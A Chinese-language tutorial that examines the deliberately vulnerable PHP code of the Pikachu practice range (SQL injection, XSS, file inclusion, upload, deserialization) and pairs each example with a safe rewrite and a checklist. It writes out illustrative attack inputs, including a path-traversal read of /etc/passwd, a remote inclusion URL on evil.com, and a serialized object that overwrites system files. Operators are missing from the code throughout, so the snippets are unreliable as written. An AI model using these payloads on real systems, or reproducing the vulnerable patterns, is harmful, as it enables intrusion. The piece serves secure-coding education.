1. 项目概述为什么我们要“看”Pikachu的源码如果你是一名Web开发者尤其是后端或者全栈方向的那么“安全”这个词对你来说可能既熟悉又陌生。熟悉的是每次上线前总会听到“注意安全”、“别出漏洞”陌生的是那些传说中的SQL注入、XSS、文件上传漏洞在真实的业务代码里到底长什么样我们写的那些$_GET、$_POST怎么就一不小心成了黑客的入口这就是Pikachu靶场存在的核心价值。它不是一个让你去攻击别人的工具而是一个专门为开发者和安全学习者搭建的“漏洞博物馆”。里面陈列了各种典型、过时但依然广泛存在的Web安全漏洞的“标本代码”。从开发者视角去分析Pikachu就像一位外科医生去解剖教学用的病理标本目的不是为了欣赏病变而是为了深刻理解病灶的形态、成因从而在未来的手术编码中精准地避开它们。很多人把Pikachu当作一个通关游戏专注于寻找payload和点击“提交”按钮。这固然能快速获得成就感但价值有限。真正的“避坑”源于理解“坑”是如何被挖出来的。本次我们就抛开攻击者的视角纯粹以一名PHP开发者的身份深入Pikachu的PHP源码内部看看那些被刻意写出来的“错误示范”代码分析其每一行、每一个函数调用背后的安全隐患。我们会聚焦于几个最经典、与日常开发关联最紧密的漏洞类型如SQL注入、XSS、文件包含等不仅告诉你“这样写是错的”更会深入解释“为什么错”以及“正确的写法应该是什么样”。这不仅仅是一次源码分析更是一次面向开发者的、生动的安全编码实战课。2. 核心漏洞代码的“病理”切片分析当我们拿到一份有漏洞的代码时不能只停留在“这里有个echo $_GET[‘id’]所以有XSS”的层面。我们需要像调试代码一样逐行分析其执行逻辑、数据流和控制流找出安全边界被突破的那个确切“点”。2.1 SQL注入字符串拼接的“原罪”SQL注入的根源几乎都可以追溯到一点将不可信的用户输入未经任何处理直接拼接到了SQL查询语句中。在Pikachu的“SQL注入”模块中这种“原罪”被体现得淋漓尽致。我们来看一个最典型的例子基于Pikachu源码结构模拟// 漏洞示例基于错误的注入GET型 $id $_GET[‘id’]; $sql “SELECT username, email FROM users WHERE id $id”; $result mysqli_query($conn, $sql);代码“病理”分析数据入口$_GET[‘id’]直接来自URL参数是完全不可信的。危险操作直接将变量$id拼接进字符串$sql。这里没有使用任何引号包裹因为id字段预期是数字但这恰恰是误区。攻击者可以传入1 OR 11。最终查询拼接后的SQL语句变为SELECT ... WHERE id 1 OR 11。OR 11使WHERE条件永远为真导致查询出所有用户数据。为什么开发者会这么写快速原型在项目初期为了快速实现功能直接拼接是最快的方式。认知误区认为数字型参数不需要处理或者认为只有‘单引号包裹的字符串参数才危险。信任内部数据可能觉得这个功能只在内部使用或者参数来源“应该”是安全的。正确的“免疫”方案参数化查询预处理语句这是根治SQL注入的“银弹”。其原理是将SQL语句的结构与数据分离。// 正确示例使用参数化查询 $id $_GET[‘id’]; $stmt $conn-prepare(“SELECT username, email FROM users WHERE id ?”); $stmt-bind_param(“i”, $id); // “i” 表示参数 $id 是整数类型 $stmt-execute(); $result $stmt-get_result();核心避坑点永远不要相信用户输入这是安全第一原则。无论是GET、POST、COOKIE还是HTTP头部都必须视为恶意。明确参数类型在bind_param中指定类型i整型d浮点s字符串b二进制数据库驱动会在底层进行严格的类型检查或转换从根本上杜绝注入。即使使用框架也要理解其原理很多现代PHP框架如Laravel的Eloquent、ThinkPHP的Query Builder都内置了参数化查询。但你需要知道它们是如何工作的避免错误地使用了它们提供的“原始查询”方法如DB::raw()而绕过了安全机制。2.2 反射型XSSecho与print的“不设防”XSS跨站脚本攻击的核心在于恶意脚本被注入到页面中并被浏览器当作正常的代码执行。反射型XSS中恶意输入“反射”回响应页面。Pikachu中常见的例子是搜索框。// 漏洞示例反射型XSS $keyword $_GET[‘keyword’]; echo “您搜索的关键词是” . $keyword;代码“病理”分析数据入口$_GET[‘keyword’]直接来自用户。危险操作使用echo直接将变量输出到HTML上下文中。攻击载荷用户输入scriptalert(‘xss’)/script。这段脚本会被原样输出到HTML浏览器解析到script标签时就会执行其中的JavaScript代码。为什么开发者会这么写功能优先只考虑了“显示用户输入”这个功能需求忽略了“显示”这个动作在Web上下文中的危险性。对输出编码不熟悉不知道或忘记了htmlspecialchars这个函数的存在和重要性。认为输入已过滤可能在前端或控制器层做了一些简单的过滤如移除script但过滤规则不全面容易被绕过如使用大小写混淆、嵌套标签、事件处理器onload等。正确的“免疫”方案上下文相关的输出编码安全的核心是“在数据被使用的地方根据其所在的上下文进行编码”。// 正确示例输出到HTML正文 $keyword $_GET[‘keyword’]; echo “您搜索的关键词是” . htmlspecialchars($keyword, ENT_QUOTES, ‘UTF-8’);htmlspecialchars函数会将特殊字符转换为HTML实体变为lt;变为gt;变为amp;“变为quot;‘变为#039;(当ENT_QUOTES标志被设置时)这样scriptalert(‘xss’)/script会被输出为文本字符串而不是可执行的脚本。核心避坑点区分“数据”与“代码”用户输入永远是数据在将其嵌入到HTML、JavaScript、CSS或URL中时必须进行相应的编码。使用安全的API对于现代应用考虑使用模板引擎如Twig、Blade它们通常默认开启了自动转义这是更安全的选择。警惕innerHTML与document.write在前端JavaScript中如果必须动态插入内容使用textContent或innerText而非innerHTML。如果一定要用innerHTML必须对插入的内容进行净化和编码。2.3 文件包含include/require的“信任危机”文件包含漏洞Local/Remote File Inclusion允许攻击者控制include、require等函数的参数从而包含并执行任意文件。这在具有“模板化”或“模块化”加载功能的旧系统中很常见。// 漏洞示例动态文件包含 $page $_GET[‘page’]; include(‘./templates/’ . $page . ‘.php’);代码“病理”分析数据入口$_GET[‘page’]直接控制要包含的文件路径。危险操作将用户输入直接拼接进文件路径并传递给include。攻击方式本地文件包含LFI传入../../../../etc/passwd可能读取系统敏感文件。远程文件包含RFI如果allow_url_include配置为On默认Off但需警惕传入http://evil.com/shell.txt会远程包含并执行恶意代码。为什么开发者会这么写实现动态页面加载一种简单的实现前端路由或模块加载的方法。对include的滥用错误地将include当作一个“调用函数”来用而不是“引入代码文件”。路径遍历知识不足没有意识到../这样的序列可以跳出预定目录。正确的“免疫”方案白名单控制对于动态包含最安全的方式是使用白名单。// 正确示例白名单验证 $allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }核心避坑点绝对不要用用户输入直接做文件路径这是铁律。禁用危险配置确保php.ini中allow_url_fopen和allow_url_include设置为Off。使用绝对路径如果必须动态包含使用basename()函数获取文件名并拼接上固定的、完整的绝对目录路径防止目录遍历。重新设计架构对于现代应用应使用前端路由如Vue Router, React Router或单一入口文件配合路由解析如MVC框架中的路由组件彻底避免将URL参数直接映射到文件系统。2.4 文件上传后缀名检查的“视觉欺骗”文件上传漏洞允许攻击者上传可执行的脚本文件如.php,.jsp从而获得服务器上的代码执行能力。Pikachu中演示了仅检查客户端JavaScript或简单检查后缀名的绕过方式。// 漏洞示例简单的黑名单后缀检查 $allowed_types [‘image/jpeg’, ‘image/png’, ‘image/gif’]; $file_name $_FILES[‘file’][‘name’]; $file_type $_FILES[‘file’][‘type’]; $tmp_name $_FILES[‘file’][‘tmp_name’]; // 只检查了Content-Type来自HTTP头部可被篡改 if (in_array($file_type, $allowed_types)) { $extension pathinfo($file_name, PATHINFO_EXTENSION); // 简单的黑名单容易被绕过 $blacklist [‘php’, ‘php5’, ‘phtml’]; if (!in_array($extension, $blacklist)) { move_uploaded_file($tmp_name, ‘./uploads/’ . $file_name); echo “上传成功”; } }代码“病理”分析信任不可信来源$_FILES[‘file’][‘type’]来自HTTP请求的Content-Type头部可以被攻击者随意修改。攻击者可以上传一个.php文件但将其Content-Type设置为image/jpeg来绕过检查。黑名单的局限性黑名单永远无法穷尽所有危险后缀如.php7,.phps,.pht, 甚至利用服务器解析特性如file.php.jpg在某些配置下仍被解析为PHP。未重命名文件使用原始文件名保存攻击者可以精确知道上传后的文件路径和名称。正确的“免疫”方案白名单服务器端MIME检测重命名// 正确示例综合防护 $allowed_extensions [‘jpg’, ‘jpeg’, ‘png’, ‘gif’]; $file_name $_FILES[‘file’][‘name’]; $tmp_name $_FILES[‘file’][‘tmp_name’]; // 1. 白名单检查文件后缀 $extension strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); if (!in_array($extension, $allowed_extensions)) { die(‘文件类型不允许’); } // 2. 服务器端MIME类型检测更可靠 $finfo finfo_open(FILEINFO_MIME_TYPE); $mime_type finfo_file($finfo, $tmp_name); finfo_close($finfo); $allowed_mime_types [‘image/jpeg’, ‘image/png’, ‘image/gif’]; if (!in_array($mime_type, $allowed_mime_types)) { die(‘文件MIME类型不合法’); } // 3. 生成随机文件名并保留安全后缀 $new_file_name uniqid() . ‘_’ . md5($file_name) . ‘.’ . $extension; $upload_path ‘./uploads/’ . $new_file_name; if (move_uploaded_file($tmp_name, $upload_path)) { echo “上传成功文件已保存为” . $new_file_name; }核心避坑点永远不要信任客户端提交的任何信息包括文件名、文件大小、MIME类型。使用白名单而非黑名单只允许明确安全的类型。结合文件内容检测使用finfo或getimagesize()针对图片检测文件的真实类型。重命名文件使用随机字符串如uniqid()、md5(时间戳随机数)重命名上传的文件避免被直接访问和覆盖。设置正确的目录权限上传目录应禁止脚本执行通过Apache/Nginx配置或确保目录无执行权限。3. 深入源码从“漏洞函数”到“安全函数”的思维转变分析Pikachu的漏洞代码更深层的价值在于它能训练我们形成一种条件反射看到某个函数或操作就能立刻联想到其潜在的安全隐患并知道对应的“安全函数”或“安全模式”是什么。3.1 危险的“老朋友”与它们的“安全替身”我们整理一个快速对照表帮助你在代码审查时快速定位风险危险模式/函数风险描述安全替代方案/函数$sql “… $var …”;mysqli_query($conn, $sql);SQL注入参数化查询preparebind_paramexecuteecho $input;print $input;XSS (HTML上下文)输出编码htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’)include($input . ‘.php’);require($_GET[‘file’]);文件包含白名单控制if (in_array($input, $allowed_list)) { include(...); }eval($code);代码执行绝对禁止。寻找无需动态执行代码的架构方案。system($_GET[‘cmd’]);exec(,shell_exec(,passthru()命令注入尽可能避免。如需执行命令使用escapeshellarg()和escapeshellcmd()严格过滤并限定命令白名单。unlink($_GET[‘file’]);文件删除路径校验使用realpath()解析绝对路径并检查是否在允许操作的目录内。file_get_contents($_GET[‘url’]);SSRF (服务器端请求伪造)限制访问范围使用parse_url()分析URL禁止访问内网IP如127.0.0.1,192.168.*.*,10.*.*.*,172.16.*.*。$_SESSION[‘is_admin’] true;(无条件赋值)越权访问权限校验在每个需要权限的接口或页面入口显式检查会话中的权限标识而非依赖某个全局开关。$serialized_obj $_GET[‘data’];$obj unserialize($serialized_obj);反序列化漏洞避免反序列化不可信数据。如需传输复杂数据使用JSON。如必须需进行严格的完整性校验和签名。3.2 理解漏洞的“触发链”以“不安全的反序列化”为例Pikachu中可能包含反序列化漏洞的示例。我们假设有如下一个“用户”类class User { public $username; public $isAdmin; public $logFile; public function __destruct() { // 析构函数中将日志写入文件 file_put_contents($this-logFile, “User {$this-username} logged out.\n”, FILE_APPEND); } } // 从Cookie中读取用户数据 $user_data base64_decode($_COOKIE[‘user’]); $user unserialize($user_data); // 危险漏洞触发链分析入口点$_COOKIE[‘user’]是用户可控的输入。危险函数unserialize()会根据序列化字符串中的数据还原一个对象。PHP在反序列化时会自动调用对象的__wakeup()或__destruct()魔术方法。攻击载荷攻击者可以构造一个特殊的序列化字符串其中logFile属性被设置为一个敏感路径如/etc/passwd或shell.php。序列化字符串示例简化O:4:“User”:3:{s:8:“username”;s:5:“guest”;s:7:“isAdmin”;b:0;s:7:“logFile”;s:11:“/etc/passwd”;}漏洞触发当脚本结束或对象被销毁时__destruct()方法被调用执行file_put_contents(“/etc/passwd”, …)从而覆盖或创建敏感文件。安全实践首要原则不要反序列化来自不可信来源的数据。使用安全的数据交换格式如JSON (json_encode/json_decode)。如果必须反序列化在反序列化前对数据进行签名验证确保其未被篡改或者只反序列化到一个简单的、不包含魔术方法的数组或stdClass对象而不是具体的类实例。4. 从分析到实践构建你的“安全编码检查清单”看完Pikachu的漏洞代码我们不能止步于“知道”。更重要的是将这些教训转化为日常开发中的肌肉记忆。我根据自己的经验总结了一份简单的“安全编码自查清单”在提交代码前可以快速过一遍1. 输入处理[ ] 所有用户输入$_GET,$_POST,$_COOKIE,$_REQUEST,$_SERVER部分值是否都经过了验证和过滤[ ] 对于预期为数字的输入是否使用了intval()或filter_var($input, FILTER_VALIDATE_INT)[ ] 对于字符串是否根据上下文进行了正确的编码或转义HTML上下文用htmlspecialcharsSQL上下文用参数化查询2. 数据库操作[ ] 是否完全杜绝了字符串拼接SQL是否全部使用了预处理语句PDO或mysqli的prepare[ ] 数据库连接密码等敏感信息是否存放在Web根目录之外是否使用了环境变量或安全的配置管理3. 文件操作[ ] 文件路径是否由用户输入控制如果是是否使用了白名单或basename()进行了严格限制[ ] 上传功能是否检查了文件真实类型MIME、使用了白名单后缀、并进行了重命名[ ] 包含文件include/require的参数是否是固定的或经过白名单验证4. 命令执行[ ] 代码中是否存在system(),exec(),shell_exec(),passthru()等函数它们的参数是否完全可控[ ] 如果必须执行系统命令是否使用了escapeshellarg()对参数进行了转义5. 会话与权限[ ] 关键操作如管理员功能、用户数据修改之前是否都重新验证了用户的登录状态和权限[ ] 会话ID是否足够随机是否设置了合理的过期时间6. 输出与错误[ ] 是否在所有将动态数据输出到HTML的地方都使用了htmlspecialchars[ ] 生产环境是否关闭了display_errors防止敏感信息泄露这份清单不长但覆盖了80%的常见Web漏洞。养成在代码审查和自测时使用这份清单的习惯能极大提升代码的安全性。5. 进阶思考漏洞的“变种”与框架下的安全Pikachu展示的是经典、独立的漏洞形态。但在现代开发中尤其是使用框架如Laravel, ThinkPHP, Yii后漏洞的表现形式会发生变化。1. 框架下的“隐形”注入你以为用了Eloquent就高枕无忧了看这个例子// 危险依然可能存在注入 $users User::whereRaw(“name ‘“ . $request-input(‘name’) . “‘“)-get();whereRaw允许你编写原始SQL片段如果你在这里拼接了用户输入注入依然会发生。框架的安全特性是工具错误的使用方式依然会带来风险。2. 依赖包带来的供应链攻击你的项目通过Composer引入了数十个第三方包。如果其中任何一个被植入了恶意代码即“供应链攻击”你的整个应用都可能沦陷。这超出了Pikachu的范畴但却是现代开发必须面对的风险。定期使用composer audit或npm audit等工具检查依赖的安全漏洞至关重要。3. 逻辑漏洞这是Pikachu较少涉及但业务中极其常见的一类漏洞。例如越权访问通过修改URL中的id参数如/user/123/profile改为/user/456/profile访问他人数据。防御的关键在于每次数据访问时必须在后端验证“当前登录用户ID”是否与“请求的目标资源所属用户ID”匹配。竞争条件在并发请求下对同一资源如余额、库存的“先读后写”操作可能导致逻辑错误。例如同时发起两次“使用优惠券”的请求可能成功使用两次。这需要通过数据库事务、乐观锁或悲观锁来解决。分析Pikachu的源码是打好安全基础的第一步。它让你对“漏洞代码”有了直观的、显微镜下的认识。但真正的安全之路是将这种认识内化为开发习惯并在更复杂的现实业务和架构中始终保持对数据流、控制流的警惕。安全不是一个功能而是一种贯穿于设计、编码、测试、部署全过程的思维方式。从看懂Pikachu里的每一个“坑”开始逐步建立起你自己的“安全护城河”。
